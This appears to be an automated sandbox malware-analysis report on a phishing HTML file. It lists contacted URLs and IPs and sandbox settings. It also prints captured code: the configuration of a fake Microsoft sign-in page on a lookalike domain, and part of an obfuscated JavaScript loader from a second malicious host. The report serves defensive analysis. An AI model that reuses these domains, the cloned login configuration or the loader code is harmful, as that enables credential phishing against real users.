https://dpm.demdex.net/id?d_visid_ver=4.4.0&d_fieldgroup=AAM&d_rtbd=json&d_ver=2&d_orgid=EA76ADE95776D2EC7F000101%40AdobeOrg&d_nsid=0&d_mid=46795620289561025213399055950533803505&d_blob=6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y&d_cid_ic=MC1%01e984274b42544a629c3b1a12c2a86892%012&ts=1733839844796	false		high
https://mscom.demdex.net/dest5.html?d_nsid=0	false		high
https://cms.quantserve.com/pixel/p-vj4AYjBqd6VJ2.gif?idmatch=0&gdpr=0&gdpr_consent=	false		high
https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	false	Avira URL Cloud: safe	unknown
https://sync.srv.stackadapt.com/sync?nid=adobe	false		high
https://rtb.adentifi.com/CookieSyncAdobe	false		high
https://dpm.demdex.net/ibs:dpid=771&dpuuid=CAESEHqxViKpfdO9DTGNk1AxFpE&google_cver=1?gdpr=0&gdpr_consent=	false		high
https://sync.crwdcntrl.net/map/c=9828/tp=ADBE/gdpr=0/gdpr_consent=/tpid=46356403213087719583427206263392261374?https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D121998%26dpuuid%3D${profile_id}	false		high
https://cdn.jsdelivr.net/npm/@popperjs/core@2.11.8/dist/umd/popper.min.js	false		high
https://login.mslookupauthenticator.click/s/b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6	false	Avira URL Cloud: safe	unknown
https://ag.innovid.com/dv/sync?tid=6	false		high
https://login.mslookupauthenticator.click/common/GetCredentialType?mkt=en-US	false	Avira URL Cloud: safe	unknown
https://ups.analytics.yahoo.com/ups/58782/cms?partner_id=ADOBE&_hosted_id=46356403213087719583427206263392261374&gdpr=0&gdpr_consent=	false		high
https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx&ui_locales=en-US&mkt=en-US&client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d&state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true#email=uk.bdt@belzona.com	false		unknown
https://dmpsync.3lift.com/getuid?redir=%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D72352%26dpuuid%3D$UID%26gdpr%3D0%26gdpr_consent%3D&gdpr=0&gdpr_consent=	false		high
https://dpm.demdex.net/ibs:dpid=53196&dpuuid=Q7871262551912975290	false		high
https://cm.g.doubleclick.net/pixel?google_nid=adobe_dmp&google_cm=&gdpr=0&gdpr_consent=&google_hm=NDYzNTY0MDMyMTMwODc3MTk1ODM0MjcyMDYyNjMzOTIyNjEzNzQ=&google_tc=	false		high
https://login.mslookupauthenticator.click/s/b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6.js	false	Avira URL Cloud: safe	unknown
https://login.mslookupauthenticator.click/s/b3999fa4268b66533ad2c4a052ab10cc14cf272a7d0e317bf74e06a445ca00c6/21e9b8317fa1a3d5bd9930a886e47543e758b850f0b6f5b325717f87114218b0.js	false	Avira URL Cloud: safe	unknown
https://ib.adnxs.com/bounce?%2Fgetuid%3Fhttps%253A%252F%252Fdpm.demdex.net%252Fibs%253Adpid%253D358%2526dpuuid%253D%2524UID	false		high
https://dpm.demdex.net/ibs:dpid=477&dpuuid=574b3b3dd79bfe4155f53e8c3fde5931acb47dc644aa7745042768bea89108d7b0da87c991749652	false		high
https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css	false		high
https://us-u.openx.net/w/1.0/sd?id=537148856&val=Z1hL5gAAAMiWjgOJ&cc=1	false		high
https://a.tribalfusion.com/i.match?p=b13&u=46356403213087719583427206263392261374&redirect=https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid=22054&dpuuid=$TF_USER_ID_ENC$	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/mozilla/rhino/issues/346	chromecache_151.2.dr, chromecache_253.2.dr	false		high
https://login.microsoftonline.com/uxlogout?appid	chromecache_187.2.dr	false		high
https://tc39.es/ecma262/#sec-object.prototype.tostring	chromecache_151.2.dr, chromecache_253.2.dr	false	Avira URL Cloud: safe	unknown
https://tc39.es/ecma262/#sec-arrayspeciescreate	chromecache_151.2.dr, chromecache_253.2.dr	false	Avira URL Cloud: safe	unknown
https://tc39.es/ecma262/#sec-object.getownpropertydescriptor	chromecache_151.2.dr, chromecache_253.2.dr	false	Avira URL Cloud: safe	unknown
https://github.com/zloirock/core-js	chromecache_151.2.dr, chromecache_253.2.dr	false		high
https://tc39.es/ecma262/#sec-array.prototype.push	chromecache_151.2.dr, chromecache_253.2.dr	false	Avira URL Cloud: safe	unknown
https://bugs.chromium.org/p/v8/issues/detail?id=12681	chromecache_151.2.dr, chromecache_253.2.dr	false	Avira URL Cloud: safe	unknown
https://github.com/SteveSanderson/knockout/issues/186)	chromecache_249.2.dr, chromecache_168.2.dr	false		high
https://github.com/tc39/proposal-array-filtering	chromecache_151.2.dr, chromecache_253.2.dr	false		high
https://aka.ms/taxservice	chromecache_221.2.dr	false		high
http://www.opensource.org/licenses/mit-license.php	chromecache_188.2.dr, chromecache_156.2.dr	false		high
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_138.2.dr, chromecache_207.2.dr	false		high
https://skype.com/go/myaccount	chromecache_221.2.dr	false		high
https://www.skype.com	chromecache_225.2.dr, chromecache_221.2.dr	false		high
https://tc39.es/ecma262/#sec-tointegerorinfinity	chromecache_151.2.dr, chromecache_253.2.dr	false	Avira URL Cloud: safe	unknown
https://support.xbox.com/en-US/help/subscriptions-billing/manage-subscriptions/xbox-subscription-ina	chromecache_221.2.dr	false		high
https://cdnssl.clicktale.net/www32/ptc/05d32363-d534-4d93-9b65-cde674775e71.js	chromecache_225.2.dr, chromecache_221.2.dr	false		high
https://api.company-target.com/api/v2/ip.json?key=70aff8023e038d56ea636f68e5c5922b	chromecache_150.2.dr, chromecache_191.2.dr	false		high
https://github.com/es-shims/es5-shim/issues/150	chromecache_151.2.dr, chromecache_253.2.dr	false		high
https://github.com/w3c/aria-practices/pull/1757	chromecache_151.2.dr, chromecache_253.2.dr	false		high
https://axios-http.com	chromecache_237.2.dr, chromecache_169.2.dr	false	Avira URL Cloud: safe	unknown
https://keycode.info/table-of-all-keycodes	chromecache_151.2.dr, chromecache_253.2.dr	false	Avira URL Cloud: safe	unknown
https://tc39.es/ecma262/#sec-getmethod	chromecache_151.2.dr, chromecache_253.2.dr	false	Avira URL Cloud: safe	unknown
https://www.skype.com/en/	chromecache_225.2.dr, chromecache_221.2.dr	false		high
https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent/key/Key_Values	chromecache_151.2.dr, chromecache_253.2.dr	false		high
https://github.com/SteveSanderson/knockout/pull/440	chromecache_249.2.dr, chromecache_168.2.dr	false		high
https://github.com/douglascrockford/JSON-js	chromecache_258.2.dr, chromecache_175.2.dr	false		high
http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-262.pdf)	chromecache_249.2.dr, chromecache_168.2.dr	false	Avira URL Cloud: safe	unknown
https://tc39.es/ecma262/#sec-parseint-string-radix	chromecache_151.2.dr, chromecache_253.2.dr	false	Avira URL Cloud: safe	unknown
https://tc39.es/ecma262/#sec-string.prototype.includes	chromecache_151.2.dr, chromecache_253.2.dr	false	Avira URL Cloud: safe	unknown
http://www.opensource.org/licenses/mit-license.php)	chromecache_249.2.dr, chromecache_258.2.dr, chromecache_175.2.dr, chromecache_168.2.dr	false		high
https://github.com/zloirock/core-js/issues/1130	chromecache_151.2.dr, chromecache_253.2.dr	false		high
https://jquery.com/	chromecache_255.2.dr, chromecache_229.2.dr	false		high
https://tc39.es/ecma262/#sec-array.prototype.map	chromecache_151.2.dr, chromecache_253.2.dr	false	Avira URL Cloud: safe	unknown
https://tc39.es/ecma262/#sec-tolength	chromecache_151.2.dr, chromecache_253.2.dr	false	Avira URL Cloud: safe	unknown
https://tc39.es/ecma262/#sec-array.prototype-	chromecache_151.2.dr, chromecache_253.2.dr	false	Avira URL Cloud: safe	unknown
https://www.skype.com/go/legal	chromecache_225.2.dr, chromecache_221.2.dr	false		high
https://breeze.aimon.applicationinsights.io	chromecache_243.2.dr, chromecache_242.2.dr	false		high
https://tc39.es/ecma262/#sec-IsHTMLDDA-internal-slot	chromecache_151.2.dr, chromecache_253.2.dr	false	Avira URL Cloud: safe	unknown
https://tc39.es/ecma262/#sec-array.prototype.foreach	chromecache_253.2.dr	false	Avira URL Cloud: safe	unknown
https://tc39.es/ecma262/#sec-string.prototype.trimstart	chromecache_151.2.dr, chromecache_253.2.dr	false	Avira URL Cloud: safe	unknown
https://github.com/zloirock/core-js/issues/677	chromecache_151.2.dr, chromecache_253.2.dr	false		high
https://sizzlejs.com/	chromecache_255.2.dr, chromecache_229.2.dr	false		high
http://jquery.malsup.com/license.html	chromecache_188.2.dr, chromecache_156.2.dr	false		high
https://github.com/SteveSanderson/knockout/issues/197	chromecache_249.2.dr, chromecache_168.2.dr	false		high
https://secure.skype.com/en/skype-number/	chromecache_221.2.dr	false		high
https://www.xbox.com/en-us/games/store/xbox-game-pass-ultimate/cfq7ttc0khs0?icid=CNavAllXboxGamePass	chromecache_225.2.dr, chromecache_221.2.dr	false		high
https://bugzil.la/548397	chromecache_151.2.dr, chromecache_253.2.dr	false	Avira URL Cloud: safe	unknown
https://github.com/zloirock/core-js/issues/1128	chromecache_151.2.dr, chromecache_253.2.dr	false		high
https://login.windows-ppe.net	chromecache_162.2.dr, chromecache_143.2.dr	false		high
https://aka.ms/trustandsafety)	chromecache_225.2.dr, chromecache_221.2.dr	false		high
https://microsoftit.pkgs.visualstudio.com/OneITVSO/_packaging/CSM-SITES-AEMFoundations/npm/registry/	chromecache_237.2.dr, chromecache_169.2.dr	false	Avira URL Cloud: safe	unknown
https://www.skype.com/go/emergency.	chromecache_225.2.dr, chromecache_221.2.dr	false		high
https://www.google.com/intl/en_ALL/help/terms_maps.html	chromecache_221.2.dr	false		high
https://dc-int.services.visualstudio.com	chromecache_243.2.dr, chromecache_242.2.dr	false	Avira URL Cloud: safe	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=277178	chromecache_151.2.dr, chromecache_253.2.dr	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=308064	chromecache_151.2.dr, chromecache_253.2.dr	false		high
https://login.microsoftonline.com	chromecache_162.2.dr, chromecache_143.2.dr	false		high
https://github.com/SteveSanderson/knockout/issues/406	chromecache_249.2.dr, chromecache_168.2.dr	false		high
https://tc39.es/ecma262/#sec-object.entries	chromecache_151.2.dr, chromecache_253.2.dr	false	Avira URL Cloud: safe	unknown
https://tc39.es/ecma262/#sec-array.prototype.find	chromecache_151.2.dr, chromecache_253.2.dr	false	Avira URL Cloud: safe	unknown
https://tc39.es/ecma262/#sec-object.keys	chromecache_151.2.dr, chromecache_253.2.dr	false	Avira URL Cloud: safe	unknown
https://github.com/kitcambridge/es5-shim/commit/4f738ac066346	chromecache_151.2.dr, chromecache_253.2.dr	false		high
http://malsup.com/jquery/cycle/	chromecache_188.2.dr, chromecache_156.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
37.252.171.149	ib.anycast.adnxs.com	European Union	29990	ASN-APPNEXUS	false
172.217.17.66	cm.g.doubleclick.net	United States	15169	GOOGLEUS	false
91.228.74.200	global.px.quantserve.com	United Kingdom	27281	QUANTCASTUS	false
104.18.37.193	s.tribalfusion.com	United States	13335	CLOUDFLARENETUS	false
35.244.154.8	idsync.rlcdn.com	United States	15169	GOOGLEUS	false
54.154.234.207	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com	United States	16509	AMAZON-02US	false
54.154.212.37	unknown	United States	16509	AMAZON-02US	false
63.140.62.222	unknown	United States	15224	OMNITUREUS	false
3.219.79.107	sync.srv.stackadapt.com	United States	14618	AMAZON-AESUS	false
151.101.193.44	unknown	United States	54113	FASTLYUS	false
3.33.220.150	match.adsrvr.org	United States	8987	AMAZONEXPANSIONGB	false
172.217.17.34	unknown	United States	15169	GOOGLEUS	false
34.117.59.81	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
172.64.150.63	a.tribalfusion.com	United States	13335	CLOUDFLARENETUS	false
151.101.1.44	dualstack.tls13.taboola.map.fastly.net	United States	54113	FASTLYUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
152.199.21.175	sni1gl.wpc.omegacdn.net	United States	15133	EDGECASTUS	false
67.199.150.86	pug-sg4c.pubmnet.com	United States	3257	GTT-BACKBONEGTTDE	false
157.240.196.35	unknown	United States	32934	FACEBOOKUS	false
3.1.88.234	sync.crwdcntrl.net	United States	16509	AMAZON-02US	false
151.101.129.229	unknown	United States	54113	FASTLYUS	false
104.21.64.1	autenticatorresolver.online	United States	13335	CLOUDFLARENETUS	false
63.140.62.27	msftenterprise.sc.omtrdc.net	United States	15224	OMNITUREUS	false
35.244.159.8	us-u.openx.net	United States	15169	GOOGLEUS	false
185.89.210.180	unknown	Germany	29990	ASN-APPNEXUS	false
104.21.112.1	unknown	United States	13335	CLOUDFLARENETUS	false
13.57.116.250	easycdn.cdn78drop.click	United States	16509	AMAZON-02US	false
157.240.195.35	star-mini.c10r.facebook.com	United States	32934	FACEBOOKUS	false
192.132.33.69	bttrack.com	United States	18568	BIDTELLECTUS	false
54.171.149.245	unknown	United States	16509	AMAZON-02US	false
76.223.111.18	eu-eb2.3lift.com	United States	16509	AMAZON-02US	false
104.18.27.193	dsum-sec.casalemedia.com	United States	13335	CLOUDFLARENETUS	false
35.85.18.98	aragorn-prod-or-acai-lb.inbake.com	United States	237	MERIT-AS-14US	false
104.244.42.67	s.twitter.com	United States	13414	TWITTERUS	false
151.101.65.229	jsdelivr.map.fastly.net	United States	54113	FASTLYUS	false
188.125.88.204	dcs-ups.g03.yahoodns.net	United Kingdom	10310	YAHOO-1US	false
104.18.26.193	unknown	United States	13335	CLOUDFLARENETUS	false
44.216.225.197	rtb.adentifi.com	United States	14618	AMAZON-AESUS	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
34.98.64.218	unknown	United States	15169	GOOGLEUS	false
34.200.203.57	www.mslookupauthenticator.click	United States	14618	AMAZON-AESUS	true

Private

IP
192.168.2.4
192.168.2.27
192.168.2.17
192.168.2.16
192.168.2.18
192.168.2.13

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1572427
Start date and time:	2024-12-10 15:08:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Product Blueprint..html
Detection:	MAL
Classification:	mal80.phis.winHTML@37/198@141/47
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.21.35, 173.194.222.84, 172.217.19.238, 152.199.19.160, 172.217.17.46, 142.250.181.138, 142.250.181.10, 142.250.181.74, 172.217.17.42, 172.217.17.74, 172.217.19.202, 172.217.21.42, 142.250.181.106, 172.217.19.234, 172.217.19.170, 216.58.208.234, 199.232.214.172, 192.229.221.95, 23.32.238.168, 23.32.238.209, 20.190.177.82, 20.190.177.23, 20.190.177.146, 20.190.147.4, 20.190.177.149, 20.190.177.83, 20.190.177.147, 20.190.177.21, 20.190.181.4, 20.231.128.67, 20.190.181.1, 20.231.128.66, 40.126.53.17, 40.126.53.16, 20.190.181.2, 40.126.53.8, 172.217.17.35, 172.217.19.10, 20.189.173.28, 184.30.21.171, 20.42.72.131, 2.16.1.241, 2.16.1.211, 2.16.1.171, 2.16.1.179, 52.167.30.171, 52.182.141.63, 172.217.19.206, 172.217.17.78, 34.252.214.6, 54.75.138.108, 34.255.155.228, 151.101.2.49, 151.101.66.49, 151.101.130.49, 151.101.194.49, 172.64.146.217, 104.18.41.39, 204.79.197.237, 13.107.21.237, 184.30.20.187, 44.239.49.12, 44.241.7.64, 100.21.100.53, 54.191.117.1, 34.217.153
Excluded domains from analysis (whitelisted): greenid-prod-pme.eastus2.cloudapp.azure.com, pme-greenid-prod.trafficmanager.net, slscr.update.microsoft.com, e13678.dscb.akamaiedge.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, www.microsoft.com-c-3.edgekey.net, clients2.google.com, ocsp.digicert.com, onedscolprdwus18.westus.cloudapp.azure.com, login.live.com, update.googleapis.com, aws-oreg-cali-virg.ag.innovid.com.akadns.net, san-ion.secure4.scene7.com.edgekey.net, fpt2.microsoft.com, fs.microsoft.com, content-autofill.googleapis.com, ajax.googleapis.com, aadcdnoriginwus2.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, www.tm.v4.a.prd.aadg.akadns.net, cm.everesttech.net.akadns.net, ds.reson8.com.cdn.cloudflare.net, aadcdn.msauth.net, edgedl.me.gvt1.com, nel.measure.office.net.edgesuite.net, c.bing.com, servedby.flashtalking.com-v1.edgekey.net, map.media6degrees.com.cdn.cloudflare.net, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com, fpt.microsoft.com, wildcard.owneriq
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Product Blueprint..html

Input	Output
URL: https://mslookupauthenticator.click Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": true, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": true, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": true, "third_party_hosting": false }
URL: https://mslookupauthenticator.click
URL: https://login.mslookupauthenticator.click/common/o... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "The script redirects to a suspicious domain 'mslookupauthenticator.click', which is not a known or trusted domain, indicating potential phishing activity. It also involves OAuth2 authorization, which could be used to capture sensitive user credentials. The use of a suspicious domain and the context of user authentication increase the risk significantly." }
//<![CDATA[ $Config={"iMaxStackForKnockoutAsyncComponents":10000,"fShowButtons":true,"urlCdn":"https://aadcdn.msftauth.net/shared/1.0/","urlDefaultFavicon":"https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico","urlPost":"/common/oauth2/v2.0/authorize?client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d\u0026client_id=4765445b-32c6-49b0-83e6-1d93765276ca\u0026mkt=en-US\u0026nonce=638694365871268878.NWY4OTM3NmYtNGVlMS00NTVhLWFkNTAtOTAyMDY4NWEzMWM2NmVjYTA1ODYtODc4Ny00ZDc3LWIxZjgtZTNmYzEyMzZlOTEx\u0026redirect_uri=https%3a%2f%2fwww.mslookupauthenticator.click%2flandingv2\u0026response_mode=form_post\u0026response_type=code+id_token\u0026scope=openid+profile+https%3a%2f%2fwww.mslookupauthenticator.click%2fv2%2fOfficeHome.All\u0026state=G44FCewuizXOZN1fgJ9nKoI3xta-I5goow3qtE9CjEuUIY2c3VAdnfdhr16SsQMXob5299RyMP4_LdRKFk-W-vaaBptNxgAZaqTGXvJaU-icnvRdz1cFHkjXWiKihwv0_-5mIVGWbz5QWam1tAz099iMGQpCwjW6zrU4Va6XdpAOQNyxy5u_vpvWnJJ7ZoN5UKy3odd3gg5Mr9wz8bHqVeOb_ivm1twa8omwqvs7Emr9sMeIZ3KnA8trtCkJBD-MvepCyyvsik6kGtWFh8NC5Q\u0026ui_locales=en-US\u0026x-client-SKU=ID_NET8_0\u0026x-client-ver=7.5.1.0\u0026sso_reload=True","iPawnIcon":0,"sPOST_Username":"","sFTName":"flowToken","fEnableOneDSClientTelemetry":true,"dynamicTenantBranding":null,"staticTenantBranding":null,"oAppCobranding":{},"iBackgroundImage":2,"fApplicationInsightsEnabled":false,"iApplicationInsightsEnabledPercentage":0,"urlSetDebugMode":"https://login.mslookupauthenticator.click/common/debugmode","fEnableCssAnimation":true,"fAllowGrayOutLightBox":true,"fUseMsaSessionState":true,"fIsRemoteNGCSupported":true,"desktopSsoConfig":{"isEdgeAnaheimAllowed":true,"iwaEndpointUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/sso?client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d","iwaSsoProbeUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/ssoprobe?client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d","iwaIFrameUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/iframe?client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d\u0026isAdalRequest=False","iwaRequestTimeoutInMs":10000,"startDesktopSsoOnPageLoad":false,"progressAnimationTimeout":10000,"isEdgeAllowed":false,"minDssoEdgeVersion":"17","isSafariAllowed":true,"redirectUri":"","isIEAllowedForSsoProbe":true,"edgeRedirectUri":"https://autologon.microsoftazuread-sso.com/common/winauth/sso/edgeredirect?client-request-id=5db22519-5e1e-4add-b5c3-31a49ef01e5d\u0026origin=login.mslookupauthenticator.click\u0026is_redirected=1","isFlowTokenPassedInEdge":true},"iSessionPullType":2,"fUseSameSite":true,"isGlobalTenant":true,"uiflavor":1001,"fOfflineAccountVisible":false,"fEnableUserStateFix":true,"fShowAccessPassPeek":true,"fUpdateSessionPollingLogic":true,"fEnableShowPickerCredObservable":true,"fFetchSessionsSkipDsso":true,"fUseNonMicrosoftDefaultBrandingForCiam":true,"fRemoveCustomCss":true,"fFixUICrashForApiRequestHandler":true,"fShowUpdatedKoreanPrivacyFooter":true,"fUsePostCssHotfix":true,"fFixUserFlowBranding":true,"fEnablePasskeyNullFix":true,"scid":1013,"hpgact":1800,"hpgid":6,"apiCanary":"PAQABDgEAAADW6jl31mB3T7ugrWTT8pFeBhg55qBNkgC6YUNycIFG0ZC-x2dH2hE4Xh83oghhjnpYoUb4lO0zxBqO9S_rchqJ5xWDfr-b_NVuicwKwP2ZCZTL5YHb-KZ6bB-dHX7m6c3QDUACDJp6udtOZj7RSKawSdERQY_Z5sOv5UXt1T7CJxPqlBjlWqWEmj57VKZutlFi1ajuha7-p7CtNPvEhUeg7DoM4flp_HelL98pClSixSAA","canary":"L8BxVvvDRSQI8v7/jjirYTnGtRfBwivQqkjlrJJbqiM=8:1:CANARY:uBJgOjVAnugD2S5UGM4+J6+osOmr3LrTvNg1ReWDrmI=","sCanaryTokenName":"canary","fSkipRenderingNewCanaryToken":false,"fEnableNewCsrfProtection":true,"correlationId":"5db22519-5e1e-4add-b5c3-31a49ef01e5d","sessionId":"4927fa79-ef45-485c-b6a6-d82c46565500","locale":{"mkt":"en-US","lcid":1033},"slMaxRetry":2,"slReportFailure":true,"strings":{"desktopsso":{"authenticatingmessage":"Trying to sign you in"}},"enums":{"ClientMetricsModes":{"None":0,"SubmitOnPost":1,"SubmitOnRedirect":2,"InstrumentPlt":4}},"urls":{"instr":{"pageload":"https://login.mslookupauthenticator.cl
URL: https://easycdn.cdn78drop.click/hookie/yqowep/yond... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The script contains heavily obfuscated code, which is a high-risk indicator (+3 points). The purpose of the script is unclear due to the obfuscation, and it may be attempting to hide malicious behavior. Without further context or deobfuscation, it is difficult to determine the exact intent, but the obfuscation itself warrants a medium risk score." }
(function(_0x47d60c,_0x341ecc){const _0x389b7f=_0x4018,_0x5e0203=_0x47d60c();while(!![]){try{const _0x20a50b=-parseInt(_0x389b7f(0x4b3))/(-0x170xe+0x583+0x4-0x110)+parseInt(_0x389b7f(0x477))/(0x1-0x1346+-0x110x9b+0x1d93)(parseInt(_0x389b7f(0x3d3))/(0x23e1+-0x23c90x1+0x15-0x1))+parseInt(_0x389b7f(0x44c))/(0x820-0x2+-0x3-0x443+-0x1b-0x21)+-parseInt(_0x389b7f(0x554))/(-0x10fb+-0x550x50+0xae40x4)(-parseInt(_0x389b7f(0x4b2))/(0xd390x1+0x244-0x3+0x667-0x1))+-parseInt(_0x389b7f(0x367))/(-0xd07+0x1ab3+0x1f3-0x7)+-parseInt(_0x389b7f(0x3ef))/(0x210e+0xa230x3+-0x10x3f6f)+-parseInt(_0x389b7f(0x37a))/(0x180b-0x1+-0x254b+0x3d5f0x1)(parseInt(_0x389b7f(0x4ba))/(0x10x1a57+-0xb0x169+0x2-0x565));if(_0x20a50b===_0x341ecc)break;else _0x5e0203['push'](_0x5e0203['shift']());}catch(_0x1336d1){_0x5e0203['push'](_0x5e0203['shift']());}}}(_0x4185,0x1-0x7756c+-0xa0x22c72+0x2aa0d9),function(_0x2e8709,_0x3da36c){const _0x2fc7ec=_0x4018,_0x481025={'dzJzb':function(_0xc0c75f){return _0xc0c75f();},'MlrhG':function(_0x3c893b,_0x42be4a){return _0x3c893b+_0x42be4a;},'fKTTw':function(_0x368633,_0x430612){return _0x368633+_0x430612;},'bjtgU':function(_0x27ffe4,_0x28ba51){return _0x27ffe4+_0x28ba51;},'KdnVm':function(_0x4a9fdc,_0x2364b2){return _0x4a9fdc+_0x2364b2;},'peRMr':function(_0x25d05e,_0xdc2a0a){return _0x25d05e_0xdc2a0a;},'UHZeh':function(_0x159808,_0x2537cd){return _0x159808/_0x2537cd;},'Qazhf':function(_0x28f56c,_0x1fd010){return _0x28f56c(_0x1fd010);},'APeYt':function(_0x374954,_0x33d8e0){return _0x374954/_0x33d8e0;},'Txukq':function(_0x55d1b7,_0xab845d){return _0x55d1b7(_0xab845d);},'wzHys':function(_0x3f7c2f,_0x50e001){return _0x3f7c2f+_0x50e001;},'hqoMN':function(_0x3d1281,_0x11fbd5){return _0x3d1281_0x11fbd5;},'ybBWt':function(_0x558dd4,_0x3248b9){return _0x558dd4(_0x3248b9);},'qmttQ':function(_0x3de4a1,_0x5873f4){return _0x3de4a1+_0x5873f4;},'yIYZY':function(_0x2991e1,_0x48ac0c){return _0x2991e1_0x48ac0c;},'ddXKt':function(_0x35cd16,_0x2ce11e){return _0x35cd16/_0x2ce11e;},'NnYIi':function(_0x280572,_0x3db049){return _0x280572(_0x3db049);},'qrkZE':function(_0x524cb4,_0x2f88bd){return _0x524cb4_0x2f88bd;},'YSphF':function(_0x369161,_0x3c8ae5){return _0x369161(_0x3c8ae5);},'osnhS':function(_0x36e249,_0x262dad){return _0x36e249(_0x262dad);},'wnjex':function(_0x29ba44,_0x13a5fd){return _0x29ba44_0x13a5fd;},'UbCnm':function(_0x5ccb5f,_0x4d5843){return _0x5ccb5f(_0x4d5843);},'LrJKq':function(_0x3a1cb3,_0x27bb62){return _0x3a1cb3+_0x27bb62;},'PlaYU':function(_0x39d3f9,_0x39fb91){return _0x39d3f9+_0x39fb91;},'vIbKI':function(_0x1efe33,_0x4fcaba){return 